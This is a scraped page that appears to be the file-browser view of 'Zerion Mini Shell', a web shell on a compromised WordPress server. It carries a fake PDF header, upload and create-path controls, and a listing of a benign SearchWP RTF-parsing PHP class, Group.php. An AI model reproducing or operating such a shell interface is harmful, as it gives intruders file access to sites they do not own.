%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/cwg/wp-content/plugins/searchwp/lib/vendor/henck/rtf-to-html/src/
Upload File :
Create Path :
Current File : //var/www/cwg/wp-content/plugins/searchwp/lib/vendor/henck/rtf-to-html/src/Group.php

<?php

namespace SearchWP\Dependencies\RtfHtmlPhp;

class Group extends \SearchWP\Dependencies\RtfHtmlPhp\Element
{
    public $parent;
    public $children;
    /*
     * Create a new Group, with no parent and no children.
     */
    public function __construct()
    {
        $this->parent = null;
        $this->children = array();
    }
    public function GetType()
    {
        // No children? Then the group type is null.
        if (\sizeof($this->children) == 0) {
            return null;
        }
        // If the first child is a control word, then
        // the group type is the word.
        $child = $this->children[0];
        if ($child instanceof \SearchWP\Dependencies\RtfHtmlPhp\ControlWord) {
            return $child->word;
        } elseif ($child instanceof \SearchWP\Dependencies\RtfHtmlPhp\ControlSymbol) {
            return $child->symbol == '*' ? '*' : null;
        }
        // If first child is neither word nor symbol, then
        // group type is null.
        return null;
    }
    // If a group contains a * symbol as its first child,
    // then it is a destination group.
    public function IsDestination()
    {
        // If group has no children, then destination is null.
        if (\sizeof($this->children) == 0) {
            return null;
        }
        // First child not a control symbol?
        $child = $this->children[0];
        if (!$child instanceof \SearchWP\Dependencies\RtfHtmlPhp\ControlSymbol) {
            return null;
        }
        return $child->symbol == '*';
    }
    //
    // Convert Group to string for debugging purposes.
    //
    public function toString(int $level = 0)
    {
        $str = \str_repeat("  ", $level) . "{\n";
        foreach ($this->children as $child) {
            /* 
                  // Skip some group types:
                  if($child instanceof Group) {
                    if ($child->GetType() == "fonttbl") continue;
                    if ($child->GetType() == "colortbl") continue;
                    if ($child->GetType() == "stylesheet") continue;
                    if ($child->GetType() == "info") continue;
                    // Skip any pictures:
                    if (substr($child->GetType(), 0, 4) == "pict") continue;
                    if ($child->IsDestination()) continue;
                  } */
            $str .= $child->toString($level + 1);
        }
        return $str . \str_repeat("  ", $level) . "}\n";
    }
}

Zerion Mini Shell 1.0